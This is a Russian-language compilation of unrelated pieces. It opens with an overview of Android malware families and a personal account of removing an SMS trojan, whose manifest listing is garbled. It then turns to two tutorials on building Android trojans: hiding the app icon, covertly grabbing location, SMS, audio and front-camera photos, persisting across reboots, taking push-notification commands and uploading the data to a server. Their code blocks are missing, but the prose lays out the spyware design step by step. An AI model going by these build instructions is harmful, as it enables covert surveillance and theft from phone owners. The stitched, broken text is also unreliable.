Приложения 21 марта 2017, 14:10 Заразить смартфон вирусом не так легко, как в случае с компьютером — приложения в Google Play проходят проверку, а создатели смартфонов регулярно выпускают новые версии прошивок с антивирусными заплатками. Но вирусописатели регулярно «пробивают» такую защиту, а пользователи спешат установить на смартфон игры и приложения в обход официальных магазинов. Мы расскажем, какие зловреды способны поразить даже самые новые версии Android, и чем они опасны.

Triada

Начнём со «свежака» — Триаду сегодня можно считать самым новым и «пуленепробиваемым» вирусом для смартфонов. Его и обнаружили-то только в марте 2017 года.

Уникален он своей близостью к классическим вирусам, а не троянам-вымогателям, как это обычно бывает на Android. Вам всё же нужно умудриться подхватить его из «непроверенных источников», а вот дальше начинается гораздо весёлый «боевичок»:

Triada — вирус, который не просто хулиганит в системе, а вклинивается в её жизненно важные участки

  1. Triada включается после того, как вы установите и дадите разрешения вашей любимой качалке музыки из ВКонтакте, например. После программа втихаря выясняет модель вашего смартфона, версию прошивки и Android, объём свободного места на накопителях и список установленных приложений. И отправляет эту информацию в интернет , на свои серверы. Этих серверов огромное количество, они разбросаны в различных странах, то есть, даже приехать и устроить «маски-шоу» по местоположению сервера со зловредом не получится.
  2. В ответ Triada получает инструкции (прямо-таки, индивидуальный подход к пациенту!), как лучше спрятать себя конкретно в этой разновидности Android и этом смартфоне, внедряется в каждое (!) из установленных приложений и берёт контроль над системными компонентами , чтобы скрыть себя в списке установленных приложений и запущенных процессов. После этого отдельно стоящая в системе часть вируса «заметает» за собой следы — он больше не работает как отдельное приложение, а согласовывает свои действия с помощью кусочков заражённой системы.
  3. Готово, система завоёвана! С этого момента смартфон превращается в «марионетку», которой злоумышленники отдают команды на расстоянии и принимают информацию на любой из доступных серверов. Сейчас Triada действует примитивно — выясняет данные вашей банковской карты, снимает с неё деньги, достаёт из входящих SMS нужные для оплаты коды, «рисует» ложные цифры о балансе владельцу.

Но с возможностью «распотрошить» любое установленное приложение или установить новое на расстоянии это только «цветочки» — особенность «Триады» заключается в том, что это модульный вирус, к нему можно будет прикрутить самые разные виды дистанционных трюков.

Как видите, вирусы для Android — это не только примитивные «ваш телефон заблокирован, с вас сто баксов», от которых можно избавиться удалением приложения. И, если в новых версиях Android хотя бы усложнён доступ к получению root и можно увидеть что-то подозрительное на этапе запроса прав приложением, то старые версии (Android 4.4, 4.3 и старее) абсолютно беззащитны перед новой заразой — спасёт только полная перепрошивка.

Принцип работы и подробная информация о зловреде Triada

Marcher

Так называемый «банковский зловред» был разработан ещё в 2013 году, но его «звёздный час» настал только летом 2016 года. Знаменит хорошей маскировкой и «интернационализмом», если можно так сказать.

Marcher представляет собой простой троян, который не проворачивает ничего сверхъестественного, а просто подменяет собой служебные страницы огромного количества банков с помощью всплывающих окон. Механизм следующий:

  • Троян проникает в систему вместе с заражённым приложением. Пик популярности Marcher пришёлся на «свежеукраденные» у Nintendo версии Super Mario Run. Если вы не помните, это такая супер-раскрученная «бегалка» от создателей Pokemon GO!
  • Ищет на смартфоне банковские приложения и приложения интернет-магазинов выбирает «заготовки» в соответствии с тем, каким банком вы пользуетесь.
  • Отправляет на смартфон «приманку» — сообщение в шторке уведомлений со значком банка/магазина и сообщением в стиле «на ваш счёт поступило N рублей»/«купон на скидку 75% для любого товара только сегодня!».
  • Владелец смартфона кликает на уведомление. После чего троян открывает точнейшую копию, страницу, 1-в-1 похожую на ту, что вы привыкли видеть в официальном приложении. И говорит что-то в стиле «соединение с сетью прервано, повторите ввод данных банковской карты».
  • Владелец смартфона вводит данные банковской карты. Тут-то денюжки тю-тю!

«Дружище, что-то я подзабыл номер твоей карты. Не напомнишь?»

Таким нехитрым образом троян подделывал процесс покупки авиабилетов, покупки товаров в интернет-магазинах и софта в Google Play и работу банковских приложений. Под раздачу попали пользователи банковских карт в Германии, Франции, Польши, Турции, США, Австралии, Испании, Австрии и Великобритании. Изначально вирус «точили» под Android 6.x, смартфонов под управлением других версий оказалось значительно меньше.

Принцип работы и подробная информация о зловреде Marcher

Loki

Даже не одиночка, а целый каскад троянов-«хамелеонов», не настолько криминально-суровых, как Triada, но в такой же степени болезненных для операционной системы. Антивирусные специалисты обратили внимание на зловредов в начале 2016 года, а в народ смартфоны зловред стал массово проникать уже в декабре 2016-го.

Loki — это такой организованный разбой по предварительному сговору в вашем смартфоне

Зловреды действуют настолько быстро и слаженно, что хочется аплодировать им стоя. Вы только взгляните на эту «многоходовочку»:

  • Первый троян попадает в систему с безопасным приложением и вместе с ним же запускается. После этого сразу «запрашивает подкрепление», то есть, скачивает из своих источников второго троянца и устанавливает его с пачкой инструментов для получения root-прав. Мониторит систему, ждёт, когда пользователь смартфона выключит дисплей, и в этом режиме добывает root. После чего запускает своего «коллегу».
  • Второй троян перехватывает root-права, получает доступ к разделу /system («заводским» файлам прошивки, которые сохраняются даже после сброса настроек), распаковывает из себя ещё парочку троянцев и распихивает их в «несгораемые» системные разделы.
  • Третий троян оживает в этом самом разделе /system, в котором подменяет собой часть системы, ответственную за загрузку, и удаляет стандартные «потроха» Android. Если каким-то чудом владелец удалит все предыдущие вирусы и доберётся до третьего по счёту Loki, с его удалением «умрёт» прошивка смартфона.
  • В это время четвёртый из каскада троянцев действует из защищенной системной папки, откуда скачивает ещё пачку вирусов, «крутит» рекламу или просто занимается накруткой счётчиков скачиваний приложений/посещений сайтов на инфицированном смартфоне. Блокирует скачивание и установку антивирусов, совершенствует свою защиту.

«Выкорчевать» из мозгов смартфона следы этой бурной деятельности невозможно, поэтому «лечится» заражение с помощью Loki только полной перепрошивкой с потерей всех данных.

Принцип работы и подробная информация о зловреде Loki

Faketoken

Если предыдущие трояны намеренно действуют исподтишка, чтобы пользователь смартфона до последнего момента не догадывался о заражении, то Faketoken в своём подходе прост и прямолинеен, как опытный гопник — требует предоставить ему права на любые действия со смартфоном, а если владелец отказывается, в дело вступает алгоритм «слышь, ты чё не понял? Тогда я повторю!».

Arrows-left Arrows-right

Reload 1 / 3

  1. Сначала пользователь вынужденно даёт права администратора вирусу
  • Устанавливаете вы, значит, приложение с привычным ярлычком с какого-нибудь сайта vasyapupkinsuperwarez.net. Запускаете, и после этого вас начинают «пытать».
  • Троян открывает системное окно с запросом прав администратора. В лучших демократических традициях у владельца смартфона есть два варианта — разрешить трояну доступ к системе, либо не разрешить. Но в случае отказа Faketoken снова откроет окно с запросом системных прав , и будет делать это постоянно, до тех пор, пока пользователь смартфона не капитулирует.
  • После этого методом всё того же терморектального криптоанализа троян добывает себе права на отображение всплывающих окон и подмену собой стандартного приложения для отправки SMS.
  • После успеха в завоеваниях троян связывается со своим управляющим сервером в интернете и скачивает оттуда шаблонные фразы на 77 языках, которыми потом будет шантажировать пользователя мобильника.
  • Затем с помощью заготовленных фраз Faketoken начинает гадить в системе полноэкранными сообщениями в стиле «подтвердите имя и пароль своего аккаунта в Gmail» и «у нас теперь в Google Play обязательно нужно привязывать карточку, введите необходимые данные». До победного конца, разумеется.
  • Троян резвится в системе, отправляет и принимает SMS, совершает звонки, скачивает приложения. А напоследок — блокирует экран, шифрует все файлы во внутренней памяти и microSD и требует «выкуп».

Принцип работы и подробная информация о зловреде Faketoken

Godless

Троян Godless впечатляет даже не своей, так сказать, функциональностью, а маскировкой — длительное время его наличие в приложениях не распознавала даже хваленая система антивирусной проверки в Google Play. Результат немного предсказуем — зловред заразил свыше 850 тысяч смартфонов по всему миру, причём почти половина из них принадлежит жителям Индии, что как бы намекает на происхождение трояна.

Скачиваешь себе фонарик из Google Play — подхватываешь неудаляемый вирус с шифрованием и root-правами

Функциональность трояна слабо отличается от его многочисленных коллег в 2016 году, новым стал только «зачин»:

  • Пользователь смартфона загружает приложение из Google Play , включает его, в результате чего вместе с приложением запускается и троян. Вы только не подумайте что-то плохое о проверке Google, ведь в этом «комплекте» нет зловредного кода — зловредный код троян скачивает при первом запуске.
  • Для начала Godless добывает на смартфоне root-права , бесплатно без SMS. С помощью примерно такого же набора средств, как в этих ваших Towelroot, например. Такие операции троян проводит при выключенном экране.
  • После этого наглый троян отправляет себя в папку /system (откуда его уже не удалить без перепрошивки ) и шифрует себя при помощи AES-ключа.
  • С полным комплектом прав доступа Godless начинает понемногу воровать личные данные пользователи со смартфона и устанавливать сторонние приложения. В первоначальных своих версиях троян, кстати, прятал с глаз пользователя стандартный Google Play и заменял его «пародией», через которую воровал имя и пароль от учётной записи.

Среди приложений, к которым чаще всего «прикручивали» Godless, были многочисленные «фонарики» и клоны известных игр для Android.

Принцип работы и подробная информация о зловреде Godless

Что вообще стоит знать о вирусах

Первое, что нужно знать о вирусах для платформы Android: не все из них — это вирусы в исконном значении этого слова. Так нередко случается в живом языке: орнитологи различают филинов, сычей и сов, но в народе все эти птицы — «совы». Специалисты отличают хакеров от «детворы со скриптами» и кракеров, но для неспециалистов все эти категории людей остаются хакерами.

Со зловредными приложениями такая картина — технически они подразделяются на вирусы , черви , трояны , adware (навязчивую рекламу) и «страшилки» , но почти никого не заботят такие тонкости. Мол, вирусы — они и есть вирусы.

Различия между «сортами радости» следующие:

  • Вирус — зловредная программа, которая незаметно проникает на компьютер благодаря уязвимости системы. И, что самое важное — не занимается вредительством самостоятельно, а заражает другие файлы в системе. Такой зловред в случае с Android должен бы был проникать после банального клика на рекламу или посещения сайта, а потом «переписывать» под себя Gmail, ВКонтакте и другие приложения таким образом, чтобы после удаления оригинального вируса заражённые приложения продолжали делать своё чёрное дело.
  • Червь — делает плохое дело и жёстко, беспощадно, всеми возможностями распространяет самого себя по всем каналам связи. На компьютерах черви рассылали себя по e-mail, мессенджерам, локальной сети, флешкам — то есть, клонировали себя самым бесстыжим образом.
  • Троян никогда не стучится в систему извне — вы устанавливаете и запускаете зловредную программу собственноручно. Так происходит, потому что трояны подменяют рядовые, привычные и известные всем приложения, а иногда их просто «пришивают» к вполне работоспособным программам. То есть, покупаете скачиваете полезную программу — и получаете вредоносную в подарок!
  • «Страшилки» (scareware) — приложения, наводящие панику: «О боже, да у вас весь смартфон в вирусах и приложениях для прослушки спецслужбами всего мира! Скачайте наш антивирус и узнайте всю правду!». Скачиваете, запускаете, проводите так называемую проверку, после которой программа говорит: «Ужасающее количество вирусов в системе! Ваш телефон умрёт, если не удалить вирусы, но для этого Вы должны ввести данные своей банковской карты здесь и вот здесь». Такую прелесть зачастую игнорируют все антивирусы, потому что она ничего не взламывает и не ворует в системе — просто обманывает покупателя и просит денег.

Загрузка приложений не из Google Play — самый очевидный путь заражения андроидофона

Большинство зловредных приложений для Android представляют собой трояны. И, сколько бы энтузиасты не хихикали, вероятность подхватить троян на смартфоне далеко не нулевая. Потому что, если Google Play проверяет исполняемый код приложений, то порядочность софта и игр из «неизвестных источников» никак не гарантируется.

А к «неизвестным источникам» не всегда прибегают по глупости. Там можно найти облегчённые мессенджеры WhatsApp, Viber, Skype, которые занимают меньше места в памяти и работают быстро даже на старых смартфонах. Или перепакованные банковские клиенты, которые не будут ругаться на Cyanogenmod вместо официальной прошивки. А еще из Google Play периодически удаляют эмуляторы консолей, позволяющие сыграть, например, в Gran Turismo на Android. В конце-концов, в Play просто есть не все приложения.

*

Вступление

Нежданно-негаданно, посреди рабочего дня на мой старенький Sony Ericsson K320i приходит смс следующего содержания:

привет [смайлик] тебе фото https:// m**o*an.ru/oujr/380688086*6*

В качестве отправителя значился человек, с которым я уже некоторое время не общаюсь. Посмотрев тест сообщения и отмахнувшись от телефона со словами «Очередной спам», я дальше погрузился в работу. Все бы ничего, но через пару минут пришло аналогичное сообщение на второй телефон (Samsung Galaxy Gio). Номер отправителя совпадал. Через 2 часа позвонил друг и попросил дать ему совет. Ему пришло похожее смс от его начальника. Успокоив его фразой: «По ссылке не переходи и будет тебе счастье», я решил, что нужно разобраться в ситуации. Договоренности 1) Технически правильно называть данный «зловред» не вирусом, а трояном. Автор умышленно пошел на данное ухищрение для упрощения. Заранее прошу прощения за это. 2) Автор в данной статье постарался поставить себя на место обычного пользователя, испытать и пережить все то, что испытавает он. Поэтому специализированные технические средства не применяются, а методы борьбы выбраны примитивные.

1. Подготовка

Поверхностно поискав в интернете информацию, было установлено, что ссылка в смс сообщении является ничем иным, как адресом на загрузку apk файла. А apk файл — вирусом «Trojan.SMSSend», заражающий мобильные устройства под управлением ОС Android. Главные задачи данного «зловреда» — перехватывать управление устройством и использовать его в своих целях: блокировка исходящих вызовов, отправка сообщений «с приветом» и другие мелкие пакости. Перейдя по ссылке из браузера я благополучно получил ответ «403 Forbidden». Понятно, значит, стоит фильтр по браузеру. Что ж, буду проверять «на кошках», как говорится. Недолго думая, решил «положить на алтарь науки» свой планшет Samsung Galaxy Tab 2. Сделав бэкап, со спокойной совестью нажал на кнопку «Общий сброс». На всякий случай убедился, что на sim-карте нет денег и приступил к установке.

2. Установка

Захожу в настройки, в пункте меню «Неизвестные устройства», убираю галочку «Разрешить установку приложений из других источников, кроме Play Маркет». Перейдя по ссылке из смс-сообщения, получил предупреждение браузера, следующего характера: Соглашаюсь и нажимаю кнопку «Продолжить». Скачалось приложение F0T0_ALB0M.apk: Устанавливаю. Ужасаюсь количеством permission (разрешений). Операционная система любезно предупреждает:

Это приложение может нанести вред устройству

Но я же не ищу легких путей, поэтому, «скрепя сердце», ставлю галочку «Я понимаю, что это приложение может нанести вред». Процесс установки

Когда приложение запрашивает права администратора, понимаю, что это последний этап. Нажимаю «Отмена», но диалог появляется снова. Эх, была не была, буду идти до конца, и нажимаю «Включить».

3. Вирус-приложение

Само приложение состоит из одной активити-картинки с обреченным котенком. Наверное таким образом разработчик пытался пошутить. В этом месте, я немного забегу вперед (см. п.6) и приведу, код AndroidManifest.xml для лучшего понимания статьи. AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           service>         <s   </appl 

В диспетчере приложений наш «зловред» гордо именуется «Google Play».

4. Удаление?

Благополучно заразив устройство, перехожу к фазе лечения. Сначала пробую удалить приложение. Захожу в «Диспетчер приложений» и вижу, что все кнопки заблокированы. Понятно, значит, у приложения имеются права администратора и так просто удалить его не получится. Не беда, сейчас я их уберу. Захожу в пункт меню «Безопасность»->«Администраторы устройства» и убираю галочку напротив приложения. Но, нет, не тут то было. Устройство благополучно переходит в настройки управления WiFi и зависает. Пришлось «прибивать» окно настроек. Дальше хотелось решить вопрос «на корню», так сказать, и воспользоваться общим сбросом системы. Ну да, легко мне выбирать такой вариант — мои личные данные в бэкапе хранятся. А как же обычные пользователи? У которых «внезапно» любимый телефон заразился вирусом. Они ведь даже исходящего вызова знакомому «тыжпрограммисту» не сделают. В общем, читерство это, не буду так делать. Итог: штатными средствами нейтрализовать угрозу не удалось. Подключаем «тяжелую артиллерию». Примечание для компаний

5. Dr Web против вируса

Памятуя про хорошую лечащую утилиту «Dr.Web CureIt!», решил бороться с зловредом с помощью аналога под Android. Захожу на официальный сайт и качаю бесплатную версию антивирусника «Dr.Web для Android Light 9». Устанавливаю, по WiFi обновляю сигнатуры. Запускаю быструю проверку ― ничего. Запускаю полную проверку ― тоже ничего. Ход проверки

Я разочарован! Печально вздохнув, удаляю антивирусник.UPD от 6.09.14. На данный момент антивирусник успешно опознает данный зловред под детектом Android.SmsBot.origin.165. Алгоритм удаления такой же, как и при использовании Avast (см. ниже).

5. Avast против вируса

Мнение автора Никогда особо не любил антивирусник данной фирмы. Особенно после истории об удалении файла отвечающего за протокол tcp/ip в Windows XP. Но, чем «черт не шутит», установим. Скачиваю и устанавливаю версию «Avast-Mobile-Security-v3-0-7700». При старте запускается экспресс-сканирование, которое никаких вирусов в системе не находит. Ну и ладно, мозг подсказал очередную идею: вот есть какой-то пункт меню «Управление приложениями», а что если… Да, действительно загрузился список приложений в системе. Пункта «Удалить» нет. Поэтому, пробую остановить приложение. Остановилось. Жду 2-3 секунды, приложение снова в работе. Ладно, попробую с другой стороны. Запускаю принудительную проверку системы. О_о, обнаружено вредоносное ПО. Нажимаю «Устранить все» [прим. как-то это звучит в духе Дарта Вейдера или Далеков]. Avast сообщает, что удалить приложение не может, а нужно сначала отобрать права администратора у приложения. Появляется системный диалог:

Удалить все данные с устройства и вернуть заводские настройки? Нажмите «Да» если согласны, или «Нет» для отмены

И сразу же, поверх этого диалогового окна открывается «злополучное» окно настроек wi-fi. Нажимаю «Возврат», снова открываются настройки. Хорошо, хоть окно настроек не зависает. Опять на тропу читерства меня толкают. Будем искать другое решение…

6. Реверс-инжиниринг

Посмотрим в исходный код приложения, благо на Android это не такая большая проблема. Много всего интересного… Например, в классе SystemService указан url сайта lamour.byethost5.com (дизайн-студия). Но больше всего мне понравился класс AdminReceiver, который является наследником системного класса DeviceAdminReceiver. В этом классе есть переопределенный метод onDisableRequested, который срабатывает при отключении админполномочий для данного приложения. Полностью заблокировать кнопки в системном диалоге нельзя, поэтому разработчик вируса пошел на хитрость, он изменил текст сообщения на «Удалить все данные с устройства и вернуть заводские настройки? Нажмите «Да» если согласны, или «Нет» для отмены» и обильно прикрыл сверху назойливым окном настроек. Бинго. Значит теперь я смело смогу нажать в данном диалоговом окне «Удалить» и планшет будет «здоров».

Послесловие

Таким образом, выполнив повторно пункт 5 данной публикации (не останавливаясь на последнем шаге), вирус версии 4.0 (согласно манифест-файлу) был побежден. Почему не удалось напрямую из настроек убрать галочку админправ для приложения, а только используя Avast? Скорее всего, стоит очередная ловушка с переопределенным методом.

Выводы

Разработчики вирусов находят все новые лазейки. Но, так или иначе, браузер и операционная система стали лучше защищать пользователей. Мне необходимо было нажать 2 подтверждения и поставить галочку в настройках «Неизвестные устройства». Будьте здоровы, вы и ваши девайсы! 206 411,1k 206

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Еще по теме: Как вирусы попадают в Google Play Market

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Получить список установленных приложений еще проще:

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

Использовать его следует так:

Записи в файле будут выглядеть примерно так:

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

Использовать его можно, например, так:

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

И добавьте в манифест следующие строки:

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

И опять же добавим его в манифест:

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Имейте ввиду!  Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).

Еще по теме: Где скачать вирусы

Статья от нашего друга allmore

Как стать “хакером” андроида?

Да тут особо ни чего мудрить не надо. Просто идем по шагам. 1. Устанавливаем java для разработчиков с офф сайта. (скачать) 2. Качаем android studio (скачать) Качаем полную рекомендованную. Сейчас мы не будем вдаваться в эти все подробности. Оно нам надо? 3. Запасаемся бубликами и пивом. Ведь сейчас придется все это поставить и настроить. 4. Тыкаем в основном далее, не вдумываясь что там написано. Незачем забивать голову 🙂 5. После чего как мы установили все это. Запускаем студию. Ищем сверху значок SDK Manager. Он где-то справа. Нажимаем, ставим везде галки, соглашаемся с условиями и нажимаем инсталл. 6. Опять грызем бублики и пьем великолепное пиво. Тут процесс по дольше, так как будут выкачиваться виртуалки и всяческие тулзы. 7. Ну вот собственно и все.

Как все начиналось?

Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать 🙂 А для этого мы идем в File -> New -> New project. И тут нам предлагают придумать название проекта и домен сайта компании. Вводим что взбредёт в голову. На основе этих данных генерируется package имя. Которое используется как уникальный идентификатор нашего APK. Жмем далее. Тут нам предлагают выбрать платформу под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже. Далее. И теперь нам предлагают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.

Будет немного времени , чтобы бахнуть еще пивка. Пока файлы нового проекта индексируются и настраивается сборщик проекта.

Эй, ты слишком жирный!

Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна. Переходи в файл MainActivity.java Заменяем

на

Удаляем

на

Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.

Почему ты не прячешься?

Этот код скроет нашу иконку с глаз И после всего этого пишем:

Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.

Тук, тук, открывайте, полиция!

Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на

Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос наURL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест. Добавляем

и в описание application

Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса

Финишная линия

Добавляем обязательно обработчик в описание application

Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создадим. Все делаем как я писал выше. Создали и удалили все кроме package.

Конец, и пару слов.

Если есть вопросы, задавайте. В окончании у нас появился прям такой игрушечный бот (APK). Что послужит вам хорошей базой и внесет немного понимания, как это все работает. Спасибо за внимание. Надеюсь будет продолжение 🙂 Сильно не пинайте, опыт первый, да и еще ночью пришлось писать. А вот критику хотелось бы услышать, чтобы след урок получился лучше.

